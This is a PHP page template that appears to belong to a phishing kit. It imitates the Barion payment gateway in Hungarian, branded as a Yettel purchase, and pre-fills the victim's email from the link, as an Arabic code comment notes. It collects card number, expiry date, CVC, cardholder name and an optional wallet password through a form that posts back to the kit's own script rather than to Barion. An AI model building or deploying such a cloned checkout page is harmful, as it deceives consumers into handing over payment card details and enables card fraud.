<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';
$np_payment_display = str_replace(' ', '&nbsp;', htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8'));

// خذ الإيميل من الرابط
$prefill = $_GET['email'] ?? '';
?>
<!DOCTYPE html>
<html class="no-js " lang="hu-HU"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="origin-trial" content="A7vZI3v+Gz7JfuRolKNM4Aff6zaGuT7X0mf3wtoZTnKv6497cVMnhy03KDqX7kBz/q/iidW7srW31oQbBt4VhgoAAACUeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJEaXNhYmxlVGhpcmRQYXJ0eVN0b3JhZ2VQYXJ0aXRpb25pbmczIiwiZXhwaXJ5IjoxNzU3OTgwODAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ==">
    
    
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta http-equiv="content-language" content="hu">
    <title>Payment Gateway</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0">
    <meta name="msapplication-config" content="none">
    <link rel="stylesheet" href="Gateway_files/css-paymentgateway-refined">

    

        

    

<script type="text/javascript">
    var _language = 'hu-HU';
    var userDateTimeFormat = 'YYYY. MMMM DD. HH:mm';
    var userDateFormat = 'YYYY.MM.DD.';

        
    var userDateTimeOffset = 0; // in this case every datetime will be shown as UTC time
        
</script>


    

<style type="text/css">
.gpay-button {
  background-origin: content-box;
  background-position: center center;
  background-repeat: no-repeat;
  background-size: contain;
  border: 0px;
  border-radius: 4px;
  box-shadow: rgba(60, 64, 67, 0.3) 0px 1px 1px 0px, rgba(60, 64, 67, 0.15) 0px 1px 3px 1px;
  cursor: pointer;
  height: 40px;
  min-height: 40px;
  padding: 12px 24px 10px;
  width: 240px;
}

.gpay-button.gpay-button-size-match-height.black,
.gpay-button.gpay-button-size-match-height.white,
.gpay-button-fill > .gpay-button.gpay-button-size-match-height.white,
.gpay-button-fill > .gpay-button.gpay-button-size-match-height.black {
  box-sizing: border-box;
  padding: 0;
  height: 42.5%;
  min-height: auto;
  outline: none;
  background-color: transparent;
}

.gpay-button-fill.gpay-button-container-size-match-height {
  height: 100%;
}

.gpay-button.black {
  background-color: #000;
  box-shadow: none;
}

.gpay-button.white {
  background-color: #fff;
}

.gpay-button.black.border-inset,
.gpay-button.black.border-inset {
  outline-offset: -1px;
}

.gpay-button.white.border-inset,
.gpay-button.white.border-inset {
  outline-offset: -1px;
}

.gpay-button.short, .gpay-button.plain {
  min-width: 90px;
  width: 160px;
}

.gpay-button.black.short, .gpay-button.black.plain {
  background-image: url(https://www.gstatic.com/instantbuy/svg/dark_gpay.svg);
}

.gpay-button.white.short, .gpay-button.white.plain {
  background-image: url(https://www.gstatic.com/instantbuy/svg/light_gpay.svg);
}

.gpay-button.black.active {
  background-color: #5f6368;
}

.gpay-button.black.hover {
  background-color: #3c4043;
}

.gpay-button.white.active {
  background-color: #fff;
}

.gpay-button.white.focus {
  box-shadow: #e8e8e8 0 1px 1px 0, #e8e8e8 0 1px 3px;
}

.gpay-button.white.hover {
  background-color: #f8f8f8;
}

.gpay-button-fill, .gpay-button-fill > .gpay-button.white, .gpay-button-fill > .gpay-button.black {
  width: 100%;
  height: inherit;
}

.gpay-button-fill > .gpay-button.white,
  .gpay-button-fill > .gpay-button.black {
    padding: 12px 15% 10px;
}

.gpay-button.donate, .gpay-button.book,
.gpay-button.checkout,
.gpay-button.subscribe, .gpay-button.pay,
.gpay-button.order {
    padding: 9px 24px;
}

.gpay-button-fill > .gpay-button.donate,
.gpay-button-fill > .gpay-button.book,
.gpay-button-fill > .gpay-button.checkout,
.gpay-button-fill > .gpay-button.order,
.gpay-button-fill > .gpay-button.pay,
.gpay-button-fill > .gpay-button.subscribe {
    padding: 9px 15%;
}

</style><style type="text/css">
  .gpay-card-info-container.black,
  .gpay-button.black {
    outline: 1px solid #757575;
    box-shadow: none;
  }
  .gpay-card-info-container.black.border-toggle,
  .gpay-button.black.border-toggle {
    outline: none;
  }
  .gpay-card-info-container.black.focus,
  .gpay-button.black.focus {
    outline: 1px auto Highlight;
    outline: 1px auto -webkit-focus-ring-color;
    box-shadow: none;
  }
  .gpay-card-info-container.white,
  .gpay-button.white {
    outline: 1px solid #3C4043;
    box-shadow: none;
  }
  .gpay-card-info-container.white.border-toggle,
  .gpay-button.white.border-toggle {
    outline: none;
  }
  .gpay-card-info-container.white.focus,
  .gpay-button.white.focus {
    outline: 1px auto Highlight;
    outline: 1px auto -webkit-focus-ring-color;
    box-shadow: none;
  }
</style><style type="text/css">.gpay-card-info-container.gpay-card-info-custom-radius, .gpay-button.gpay-card-info-custom-radius
      {
      border-radius: 8px;
      overflow: hidden;
    }
</style></head>
<body class=" ">
    



    <!--[if lte IE 8]>
        <div id="compatibilityAlert" class="compatibilityAlert"><span>A böngésződ biztonsági okokból nem támogatott! Használd az alábbiak közül valamelyiket: <a href="https://www.google.com/chrome/index.html" target="_blank">Google Chrome</a>, <a href="https://www.mozilla.org/en-GB/firefox/new/" target="_blank">Mozilla Firefox</a>, <a href="http://www.apple.com/safari/" target="_blank">Apple Safari</a>, <a href="https://www.microsoft.com/en-us/download/internet-explorer-9-details.aspx" target="_blank">Internet Explorer 9+</a>, <a href="https://www.microsoft.com/en-us/windows/microsoft-edge#r3h05WRxcSzZmfjw.97" target="_blank">Microsoft Edge</a></span></div>
    <![endif]-->
    <div id="PaymentGatewayContainer">
        <div id="PaymentGateway">
            <div id="PaymentGatewayTop" role="complementary" aria-label="Felső banner">
        <div id="RejectPaymentContainer" class="" role="navigation" aria-label="Vissza">
                <a id="RejectPayment" aria-labelledby="RejectPaymentText" class="" href="javascript:history.back()">
                    
                    <svg width="28" height="28" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M14.793 7.27158L9.88117 11.4293C9.52836 11.728 9.52836 12.272 9.88117 12.5707L14.793 16.7285" stroke="currentColor" stroke-width="2.24304" stroke-linecap="round"></path>
                    </svg>
                    <span id="RejectPaymentText" class="text">
                        Vissza
                    </span>
                </a>
        </div>
        <div class="barion-logo-text">
            <img src="assets/images/barion-logo-blue.svg" alt="barion" style="height: 20px; width: auto; max-width: 100px;">
        </div>
    <span class="barion-text">
        Több, mint fizetés
    </span>
</div>
            



<div id="PaymentGatewayBody" role="main" aria-label="Fizetési állapot">
    <div id="PaymentGatewayHeader" class="d-flex flex-row align-items-center">
        <div class="pg-shop-avatar-container d-flex align-items-center" role="region" aria-label="Elfogadóhely logója">
            <img src="assets/images/lo.png" alt="Yettel" style="height: 38px;width: auto;max-width: 120px;">
</div>
<div class="pg-payment-data" role="navigation" aria-label="Részletek">
    <h1 class="pg-payment-total text-size-2"><?php echo $np_payment_display; ?></h1>
    <div class="pg-payment-shop">Yettel</div>
    <a aria-labelledby="CollapsableArrowText" href="#" class="pg-cart-details-link" data-toggle="collapse" data-target="#PaymentGatewayCart" aria-expanded="false" aria-controls="PaymentGatewayCart">
        <span id="CollapsableArrowText">Részletek</span>
        <svg xmlns="http://www.w3.org/2000/svg" width="8" height="6" viewBox="0 0 8 6" fill="none" style="">
            <path d="M1.04943 1.54423L3.67487 4.85088C3.84108 5.06022 4.15892 5.06022 4.32513 4.85088L6.95052 1.54428" stroke="currentColor" stroke-width="1.33333" stroke-linecap="round"></path>
        </svg>
    </a>
</div>

    </div>
    <div id="PaymentGatewayCart" class="collapse" role="region" aria-label="Termék lista">
        

<table role="presentation" class="table border-0 pb-0 mb-0">
    <tbody>

                    <tr>
                        <td class="border-0">D1 - 1 napos</td>
                        <td class="border-0">1 db</td>
                        <td class="border-0"><?php echo $np_payment_display; ?></td>
                    </tr>

        <tr>
            <td class="border-0"></td>
            <td class="pg-total-price border-0">Összesen</td>
            <td class="pg-total-price border-0"><?php echo $np_payment_display; ?></td>
        </tr>
    </tbody>
</table>

    </div>

    <div id="ThreeDsHelperContainer" class="pg-threeds-helper-max-height hide">
        

    <ul id="ThreeDsHelperList">
        <li class="pg-threeds-helper" id="DefaultBankLinks">
            <span class="pg-threeds-helper-header d-flex flex-row align-items-center justify-content-between">
                <a class="pg-threeds-helper-header-expander" href="#" data-toggle="collapse" data-target="#ThreeDsBankHelperLinks" aria-expanded="false" aria-controls="ThreeDsBankHelperLinks">
                    <i class="oi oi-chevron-right pg-threeds-helper-arrow"></i>
                    <span class="pg-threeds-helper-text">Elakadtál a fizetésben?</span>
                </a>
                <a id="ThreeDsHelperClose" href="#" aria-label="Elakadtál a fizetésben?">
                    <i class="oi oi-x pg-threeds-helper-close"></i>
                </a>
            </span>
            <div id="ThreeDsBankHelperLinks" class="pg-threeds-helper-content collapse" data-parent="#ThreeDsHelperList">

                <div class="pg-threeds-helper-text">Ha elakadtál a fizetés-hitelesítésben, válaszd ki a bankodat további információért:</div>

                <a target="_blank" href="https://www.budapestbank.hu/maganszemelyek/szamlavezetes/bankkartyak/bankkartyatudnivalok">Budapest Bank</a>

                <a target="_blank" href="https://www.cib.hu/Maganszemelyek/bankkartyak/3d_secure.html">CIB Bank</a>

                <a target="_blank" href="https://www.cetelem.hu/hitelkartya/3dsecure">Cetelem</a>

                <a target="_blank" href="https://www.erstebank.hu/hu/ebh-nyito/biztonsagi-kozpont/altalanos-tippek/az-internetes-vasarlas-biztonsaga">Erste Bank</a>

                <a target="_blank" href="https://granitbank.hu/psd2">Gránit Bank</a>

                <a target="_blank" href="https://www.kh.hu/vallalkozas/napi-penzugyek/uzleti-bankkartya/internetes-biztonsagi-kod">K&amp;H</a>

                <a target="_blank" href="https://www.mkb.hu/3d-secure">MKB Bank</a>

                <a target="_blank" href="https://otpmindennap.hu/kartyabiztonsag/">OTP Bank</a>

                <a target="_blank" href="https://www.raiffeisen.hu/maganszemely/elektronikus-szolgaltatas/eros-ugyfelhitelesites">Raiffeisen Bank</a>

                <a target="_blank" href="https://www.sberbank.hu/hu/kartyasfizetes.html">Sberbank</a>

                <a target="_blank" href="https://www.takarekbank.hu/fontos-internetes-bankkartyas-fizetes-valtozasa">Takarékbank</a>

                <a target="_blank" href="https://www.unicreditbank.hu/hu/maganszemelyek/napi_penzugyek/elektronikus_bankolas/Biztonsagi_kod_online_vasarlashoz.html">Unicredit</a>
            </div>
        </li>
    </ul>
    <input type="hidden" id="PaymentValidUntil" value="2026-01-12T23:30:53.2150000Z">


    </div>

    <div id="GatewayLoading" class="d-none">
        <div class="d-flex justify-center align-items-center text-center flex-column h-100">
            <div class="loading-spinner-svg big mx-auto">
                <img src="./Gateway_files/loading-ellipse-min.svg" alt="Betöltés">
            </div>
            <div class="pg-loading-message"></div>
        </div>
    </div>

    <div id="ProcessingPayment" class="pg-payment-process-step d-none">
        <div class="pg-process-info-header payment-processing d-flex flex-row justify-center align-items-center">
    <div class="pg-loading loading-spinner-svg">
        <img src="./Gateway_files/loading-ellipse-min.svg" alt="Betöltés">
    </div>
    <div class="pg-processing-payment-text">Fizetés folyamatban</div>
</div>
<div class="pg-process-info-content">
</div>
    </div>

    <div id="Processing3DS" class="pg-payment-process-step d-none">
        <div class="pg-process-info-header 3ds-processing d-flex flex-row justify-center align-items-center" role="region" aria-label="Feldolgozás alatt">
    <div class="pg-loading loading-spinner-svg">
        <img src="./Gateway_files/loading-ellipse-min.svg" alt="Betöltés">
    </div>
    <div class="pg-processing-payment-text">Folyamat állapota</div>
</div>
<div class="pg-process-info-content" region="main" aria-label="Folyamat állapota">
    <img class="ds-logo ds-logo-mastercard light" src="./Gateway_files/mc_idcheck_hrz_pos_light.svg" alt="Fizetés folyamatban" width="479" height="172" loading="lazy">
    <img class="ds-logo ds-logo-mastercard dark" src="./Gateway_files/mc_idcheck_hrz_pos_dark.svg" alt="Fizetés folyamatban" width="479" height="172" loading="lazy">
    <img class="ds-logo ds-logo-visa" src="./Gateway_files/visa-secure.webp" alt="Fizetés folyamatban" width="324" height="324" loading="lazy">
    <img class="ds-logo ds-logo-amex" src="./Gateway_files/amex_safeKey_bluebox_rgb.svg" alt="Fizetés folyamatban" width="316" height="108" loading="lazy">
    <img class="ds-logo ds-logo-visaelectron" src="./Gateway_files/visa-secure.webp" alt="Fizetés folyamatban" width="324" height="324" loading="lazy">
    <img class="ds-logo ds-logo-maestro light" src="./Gateway_files/mc_idcheck_hrz_pos_light.svg" alt="Fizetés folyamatban" width="479" height="172" loading="lazy">
    <img class="ds-logo ds-logo-maestro dark" src="./Gateway_files/mc_idcheck_hrz_pos_dark.svg" alt="Fizetés folyamatban" width="479" height="172" loading="lazy">
    <img class="ds-logo ds-logo-dinersclub" src="./Gateway_files/ds-logo-unknown.svg" alt="Fizetés folyamatban" width="150" height="130" loading="lazy">
    <img class="ds-logo ds-logo-discover" src="./Gateway_files/ds-logo-unknown.svg" alt="Fizetés folyamatban" width="150" height="130" loading="lazy">
</div>
    </div>
    <div id="SuccessfulPayment" class="pg-payment-process-step d-none">
        <div class="pg-process-info-header success d-flex justify-center flex-row align-items-center" role="region" aria-label="Siker">
    <div class="pg-processing-payment-text">Sikeres fizetés</div>
</div>
<div class="pg-process-info-content" role="region" aria-label="Folyamat állapota">
    <svg class="pg-payment-process-image barion-success-icon" width="120" height="120" viewBox="0 0 162 163" fill="none" xmlns="http://www.w3.org/2000/svg">
        <title>Sikeres fizetés</title>
        <path class="animate-sentiment-light-bg origin-center" style="transform: scale(0.82)" opacity="0.4" d="M151.696 110.304C167.88 71.2594 149.348 26.4878 110.304 10.3038C71.2593 -5.88019 26.4878 12.6519 10.3037 51.6963C-5.88027 90.7408 12.6518 135.512 51.6963 151.696C90.7407 167.88 135.512 149.348 151.696 110.304Z" fill="url(#paint0_linear_1211_3399)"></path>
        <path class="animate-sentiment-dark-bg origin-center" d="M138.506 104.952C151.734 73.0373 136.586 36.4415 104.672 23.2129C72.7574 9.98424 36.1617 25.1321 22.933 57.0467C9.7044 88.9612 24.8523 125.557 56.7668 138.786C88.6813 152.014 125.277 136.866 138.506 104.952Z" fill="url(#paint1_linear_1211_3399)"></path>
        <path class="animate-success-stroke" d="M50.6602 82.5413L68.9554 102.05C70.0122 103.177 71.7966 103.192 72.8715 102.082L110.632 63.1035" stroke="white" stroke-width="11.0065" stroke-linecap="round" stroke-dashoffset="86" stroke-dasharray="86"></path>
        <defs>
            <lineargradient id="paint0_linear_1211_3399" x1="10.3037" y1="51.6963" x2="151.696" y2="110.304" gradientUnits="userSpaceOnUse">
            <stop stop-color="#C1E377"></stop>
            <stop offset="1" stop-color="#70D65F"></stop>
            </lineargradient>
            <lineargradient id="paint1_linear_1211_3399" x1="22.933" y1="57.0467" x2="138.506" y2="104.952" gradientUnits="userSpaceOnUse">
            <stop stop-color="#C1E377"></stop>
            <stop offset="1" stop-color="#70D65F"></stop>
            </lineargradient>
        </defs>
    </svg>
    <p class="pg-payment-process-text">A vásárlás részleteit elküldtük e-mailben.</p>

    <p class="pg-redirect-text text-center">Most visszairányítunk az elfogadóhelyre.</p>

    <div id="RedirectProgress" class="pg-progressbar progress">
        <div class="progress-bar" role="progressbar" aria-label="Folyamatjelző sáv" style="width: 0%" aria-valuenow="25" aria-valuemin="0" aria-valuemax="100"></div>
    </div>
    <button id="ManualRedirect" class="btn btn-primary btn-block pg-form-button" type="button">
        Vissza a boltba
    </button>
</div>
    </div>
    <div id="FailedPayment" class="pg-payment-process-step d-none">
        

<div class="pg-process-info-header error d-flex flex-row justify-center align-items-center" role="region" aria-label="Sikertelen">
    <div class="pg-processing-payment-text">A fizetés sikertelen</div>
</div>
<div class="pg-process-info-content" role="region" aria-label="Sikertelenség oka">
    <svg class="pg-payment-process-image mx-auto barion-error-icon" width="120" height="120" viewBox="0 0 162 162" fill="none" xmlns="http://www.w3.org/2000/svg">
  <path class="animate-sentiment-light-bg origin-center" style="transform: scale(0.82)" opacity="0.4" d="M150.696 110.233C166.88 71.2101 148.348 26.463 109.304 10.2878C70.2593 -5.88734 25.4878 12.6346 9.30376 51.6578C-6.88026 90.6809 11.6518 135.428 50.6963 151.603C89.7407 167.778 134.512 149.256 150.696 110.233Z" fill="url(#paint0_linear_1211_3400)"></path>
  <path class="animate-sentiment-dark-bg origin-center" d="M137.785 104.885C151.014 72.9878 135.866 36.412 103.951 23.1906C72.0367 9.96921 35.441 25.1088 22.2123 57.0059C8.9837 88.903 24.1316 125.479 56.0461 138.7C87.9606 151.922 124.556 136.782 137.785 104.885Z" fill="url(#paint1_linear_1211_3400)"></path>
  <path class="animate-error-grow origin-center" style="opacity: 0;" d="M60.4023 101.998L80.27 81.5003L100.138 61.0029" stroke="white" stroke-width="12.7203" stroke-linecap="round"></path>
  <path class="animate-error-grow origin-center" style="opacity: 0;" d="M59.7602 61.6436L80.2688 81.5004L100.777 101.357" stroke="white" stroke-width="12.7203" stroke-linecap="round"></path>
  <defs>
    <lineargradient id="paint0_linear_1211_3400" x1="9.30376" y1="51.6578" x2="150.674" y2="110.288" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC1CD"></stop>
      <stop offset="1" stop-color="#FF5C7B"></stop>
    </lineargradient>
    <lineargradient id="paint1_linear_1211_3400" x1="22.2123" y1="57.0059" x2="137.767" y2="104.93" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC1CD"></stop>
      <stop offset="1" stop-color="#FF5C7B"></stop>
    </lineargradient>
  </defs>
</svg>
    <p class="pg-payment-process-text" id="ErrorMessage">A fizetés feldolgozása során probléma lépett fel.<br>Kérjük, próbáld meg újra a fizetést!</p>
</div>
<div class="card-holder-info-block" id="CardHolderInfoBlock" style="display: flex; align-items: start; gap: 12px;">
    
    <div style="flex-shrink: 0; margin-top: 5px">
        <svg width="28" height="29" viewBox="0 0 28 29" style="flex: 0 0 29px;" fill="none" xmlns="http://www.w3.org/2000/svg">
            <path d="M0 14.6934C0 6.96161 6.26818 0.693726 14 0.693726C21.7318 0.693726 28 6.96161 28 14.6934C28 22.4252 21.7318 28.6931 14 28.6931C6.26818 28.6931 0 22.4252 0 14.6934Z" fill="#FFB46F"></path>
            <path d="M13.993 6.06808V17.0418" stroke="white" stroke-width="2.5" stroke-linecap="round"></path>
            <circle cx="13.9927" cy="21.8562" r="1.46272" fill="white"></circle>
        </svg>
    </div>
    <div style="flex: 1;">
        <div id="CardHolderInfoTextBlock" class="d-none">
            <p>A kibocsátó bankod ezt a segítséget írta:</p>
            <span id="CardHolderInfoText"></span>
        </div>
            <p>Nézd meg, hogy a bankod milyen erős ügyfélhitelesítést alkalmaz! </p>
            <a target="_blank" href="https://erosugyfelhitelesites.hu/">https://erosugyfelhitelesites.hu/</a>
    </div>
        
</div>

<div class="pg-process-info-content">
    <button id="TryAgain" class="btn btn-primary btn-block pg-form-button" type="button">
        Újrakezdem a fizetést
    </button>
</div>


    </div>
    <div id="SystemError" class="pg-payment-process-step !py-3 !px-s-phone d-none">
        <div class="pg-process-info-content pg-system-error">
    <svg width="29" height="29" viewBox="0 0 29 29" fill="none" xmlns="http://www.w3.org/2000/svg">
        <path d="M14.3411 28.1913C22.0731 28.1913 28.4081 21.9236 28.4907 14.1921C28.5733 6.46053 22.3722 0.192871 14.6403 0.192871C6.90827 0.192871 0.57329 6.46053 0.49068 14.1921C0.40807 21.9236 6.60911 28.1913 14.3411 28.1913Z" fill="#F45774"></path>
        <path d="M9.55111 19.1316L19.4302 9.25256" stroke="white" stroke-width="2.5" stroke-linecap="round"></path>
        <path d="M9.55111 9.2524L19.4302 19.1315" stroke="white" stroke-width="2.5" stroke-linecap="round"></path>
    </svg>
    <p id="ErrorMessage" class="mb-0">A&nbsp;fizetés&nbsp;során&nbsp;probléma&nbsp;lépett&nbsp;fel.</p>
</div>
    </div>
    <div id="PaymentGatewayContent" role="region" aria-label="Fizetési mód kiválasztása">


<ul id="PaymentMethodList">
        <li class="pg-payment-method" id="GuestPayment">
            <a class="pg-payment-method-header d-flex flex-row align-items-center justify-content-between" href="#" data-toggle="collapse" data-target="#PaymentMethodCard" aria-expanded="true" aria-controls="PaymentMethodCard">
                <img src="./Gateway_files/new-card-gray.svg" class="pg-payment-method-image light" role="presentation" width="24" height="24" loading="lazy">
                <img src="./Gateway_files/new-card-white.svg" class="pg-payment-method-image dark" role="presentation" width="24" height="24" loading="lazy">
                <span class="pg-payment-method-text">Bankkártya</span>
                    <img src="./Gateway_files/new-chevron-down-gray.svg" class="pg-payment-method-arrow light" loading="lazy" role="presentation">
                    <img src="./Gateway_files/new-chevron-down-white.svg" class="pg-payment-method-arrow dark" loading="lazy" role="presentation">
            </a>

            <div id="PaymentMethodCard" class="pg-payment-method-content collapse show" data-parent="#PaymentMethodList">
                <div class="_py-3 _px-m-phone _sm__px-s-phone">
                    <div id="guest-external-wallets" class="">
                            <div id="CardGooglePayContainer"><div class="gpay-button-fill"><button class="gpay-button black plain short en gpay-card-info-custom-radius border-inset" id="gpay-button-online-api-id" type="button" aria-label="Google Pay" style="opacity: 1;"></button></div></div>                                                     <div id="CardApplePayContainer" class="d-none">
                                <div class="card-apple-pay-container">
                                    <div class="apple-pay-button-with-text">
                                        <span class="logo"></span>
                                        <span class="text">Je paie</span>
                                    </div>
                                </div>
                            </div>
                                                    <div class="pg-line-with-text">
                                <span>vagy</span>
                            </div>
                    </div>



<div class="pg-form">
<form action="" aria-label="Új bankkártya" autocomplete="new-password" id="cardPaymentForm" method="post">        <input type="password" class="hidden-password d-none">         <div class="pg-form-alert d-none"></div>
<input name="__RequestVerificationToken" type="hidden" value="A5GcDSDpXaCcoCsT7eY7eqSSn_nYpQ_kG_GxKRp7wAA5T1o-nNkal-AOvT7RFKZ6cKH1yQ8C6w0o7g56BgaRGlJuHN4VmQeA6UzhCLJxu841">            <div class="pg-form-input-block pg-form-input-block-email">
                <label for="EmailAddress">Email</label>
                <input autofocus="autofocus" class="form-control pg-form-input" id="email" name="email" inputmode="email" placeholder="vasarlo@example.com" type="email" value="<?= htmlspecialchars($prefill, ENT_QUOTES, 'UTF-8') ?>" autocomplete="off">
                <span class="field-validation-valid validation-message mt-1" data-valmsg-for="EmailAddress" data-valmsg-replace="true"></span>
                <p id="mailcheck-message" class="mailcheck-message"></p>
                <input id="mailcheck-suggestion" name="mailcheck-suggestion" type="hidden" value="">
            </div>
        <div class="pg-form-input-block pg-form-input-block-card">
            <label>Kártyaadatok</label>
            <div class="pg-form-input-wrapper">
                


<span class="pg-form-recognized-card-scheme">
    <img data-card="visa" src="./Gateway_files/card-visa-light.svg" alt="Visa" class="visa light" title="Visa" width="61" height="32" style="display: none;" loading="lazy">
    <img data-card="visa" src="./Gateway_files/card-visa-dark.svg" alt="Visa" class="visa dark" title="Visa" width="61" height="32" style="display: none;" loading="lazy">
    <img data-card="mastercard" src="./Gateway_files/card-mastercard.svg" alt="Mastercard" class="mastercard" title="Mastercard" width="48" height="32" style="display: none;" loading="lazy">
    <img data-card="maestro" src="./Gateway_files/card-maestro-light.svg" alt="Maestro" class="maestro light" title="Maestro" width="48" height="32" style="display: none;" loading="lazy">
    <img data-card="maestro" src="./Gateway_files/card-maestro-dark.svg" alt="Maestro" class="maestro dark" title="Maestro" width="48" height="32" style="display: none;" loading="lazy">
    
        <img data-card="amex" src="./Gateway_files/card-americanexpress.svg" alt="American Express" class="amex" title="American Express" width="31" height="32" style="display: none;" loading="lazy">
</span>
                <input aria-label="Bankkártya száma" autocomplete="cc-number" class="form-control pg-form-input pg-mask" id="cc" name="cc" maxlength="23" placeholder="0000 0000 0000 0000" type="text" value="" autocomplete="off" required>
            </div>
        </div>
        <div class="d-flex align-items-start flex-row">
            <div class="pg-form-input-block pg-form-input-block-expiration">
                <input aria-label="Lejárati dátum" autocomplete="cc-exp" class="form-control pg-form-input pg-mask" id="mmyy" name="mmyy" maxlength="5" placeholder="Hó/Év" type="text" value="" autocomplete="off" required>
            </div>
            <div class="pg-form-input-block pg-form-input-block-cvc">
                <input aria-label="CVC kód" autocomplete="cc-csc" class="form-control pg-form-input pg-form-password" id="cvv" name="cvv" inputmode="tel" maxlength="4" pattern="[0-9]*" placeholder="CVC" type="text" value="" autocomplete="off" required>
            </div>
        </div>
        <div class="pg-form-input-block pg-form-grouped-validation">
            <span class="field-validation-valid validation-message" data-valmsg-for="CardNumber" data-valmsg-replace="true"></span>
            <span class="field-validation-valid validation-message" data-valmsg-for="CardExpiration" data-valmsg-replace="true"></span>
            <span class="field-validation-valid validation-message" data-valmsg-for="CardCVC" data-valmsg-replace="true"></span>
        </div>
            <div class="pg-form-input-block pg-form-input-block-name">
                <label for="titular">Kártyán szereplő név</label>
                <input class="form-control pg-form-input" id="titular" name="titular" placeholder="John Doe" type="text" value="" autocomplete="off" required>
                <span class="field-validation-valid validation-message mt-1" data-valmsg-for="CardHolderName" data-valmsg-replace="true"></span>
            </div>
        <div class="pg-form-checkbox-block d-flex flex-row align-items-center" style="margin-bottom: 0;">
            <label for="RegisterUser" class="pg-checkbox-label">
                <input aria-controls="SaveCardContent" aria-expanded="false" class="pg-checkbox" data-target="#SaveCardContent" data-toggle="collapse" data-val="true" data-val-required="The RegisterUser field is required." id="RegisterUser" name="RegisterUser" type="checkbox" value="true"><input name="RegisterUser" type="hidden" value="false"> <i class="pg-checkbox-mark"></i>
                    <span class="pg-checkbox-label-title d-flex align-items-center">
                        Kártya mentése a könnyebb fizetéshez
                    </span>
                    <hr class="pg-invisible-divider" style="display: none;">
            </label>
        </div>
        <div class="pg-form-save-data collapse" id="SaveCardContent">
            <div class="pg-form-checkbox-block d-flex flex-row align-items-center">
                <label for="RegisterUser" class="pg-checkbox-label">
                        <span class="pg-checkbox-label-description">
                            Legközelebb fizess biztonságosan a Barion Walletben elmentett kártyáddal! 
                        </span>
                </label>
            </div>

            <div class="pg-form-input-block">
                <label id="PW_label">Jelszó</label>
                <div class="password-container">
<input aria-labelledby="PW_label" class="form-control pg-form-input" data-complex-password="true" data-password-id="5cd41f43-1df0-4d80-8f5c-169e44b06f35" id="FirstPassword" name="FirstPassword" placeholder="••••••••" type="password">
<a class="show-password" href="#" data-target="5cd41f43-1df0-4d80-8f5c-169e44b06f35" title="Jelszó mutatása" tabindex="0" aria-label="Jelszó mutatása"><img src="./Gateway_files/show-password.svg" alt="Jelszó mutatása" width="16" height="16" loading="lazy"></a>
<span class="password-strength"></span>
<div class="password-strength-description">
<span class="pstr pass-str-weak"><span class="oi oi-warning"></span> Ezt könnyű kitalálni!</span>
<span class="pstr pass-str-okay"><span class="oi oi-check okay"></span> Éppen jó</span>
<span class="pstr pass-str-strong"><span class="oi oi-circle-check"></span> Erős</span>
</div>
</div>

                <span class="field-validation-valid validation-message" data-valmsg-for="FirstPassword" data-valmsg-replace="true"></span>
            </div>

            <p class="pg-form-note">
                <label for="HasEmailConsent" class="pg-checkbox-label">
                    <input class="pg-checkbox" data-val="true" data-val-required="The HasEmailConsent field is required." id="HasEmailConsent" name="HasEmailConsent" type="checkbox" value="true"><input name="HasEmailConsent" type="hidden" value="false"> <i class="pg-checkbox-mark"></i>
                    <span class="gwTCInputText">
                        Hozzájárulok, hogy a Bariontól üzeneteket kapjak újdonságokról és személyre szabott ajánlatokról.

                    </span>
                </label>
            </p>

            <p class="pg-form-note pg-form-legal">
                A "Fizetek" gombra kattintva elfogadom a Barion ÁSZF-et és az Adatkezelési tájékoztatót.
            </p>
        </div>
        <button id="StartGuestPayment" class="btn btn-primary btn-block pg-form-button pay-button" data-role="submit-form" type="submit">
            <span>Fizetek: <span class="notranslate"><?php echo $np_payment_display; ?></span></span>
        </button>
</form></div>

                </div>
            </div>
        </li>
    
    <li class="pg-payment-method " id="BarionWalletPayment">
        <a class="pg-payment-method-header d-flex flex-row align-items-center justify-content-between" href="#" data-toggle="collapse" data-target="#PaymentMethodBarion" aria-expanded="false" aria-controls="PaymentMethodBarion">
            <img src="./Gateway_files/new-barion-blue.svg" class="pg-payment-method-image" role="presentation" width="30" height="17">
            <span class="pg-payment-method-text">Barion Wallet</span>
                <img src="./Gateway_files/new-chevron-down-gray.svg" class="pg-payment-method-arrow light" loading="lazy" role="presentation">
                <img src="./Gateway_files/new-chevron-down-white.svg" class="pg-payment-method-arrow dark" loading="lazy" role="presentation">
        </a>
        <div id="PaymentMethodBarion" class="pg-payment-method-content collapse " data-parent="#PaymentMethodList">
            <div class="_py-3 _px-m-phone _sm__px-s-phone">




<div class="pg-form">
<form action="#" autocomplete="off" class="needs-validation" id="asyncLoginForm" method="post">        <input type="password" class="hidden-password d-none">         <input type="hidden" autocomplete="false">         <div class="pg-form-alert d-none"></div>
        <div class="pg-form-success d-none"></div>
        <div class="pg-form-notice d-none"></div>
<input name="__RequestVerificationToken" type="hidden" value="avtbQcyzzZSOjqD6vg6KPSWrP-DZfpJ8BuAE38A6B5zfaiabf6oVVXLV1ZXVa_0NHFN-NdvDfuUxgvxQn3nu9S4SDYrmPECRvu2dcQKbq_A1"><input id="RecaptchaToken" name="RecaptchaToken" type="hidden" value="">        <div class="pg-form-input-block">
            <label id="barion_wallet_email_input">E-mail cím</label>
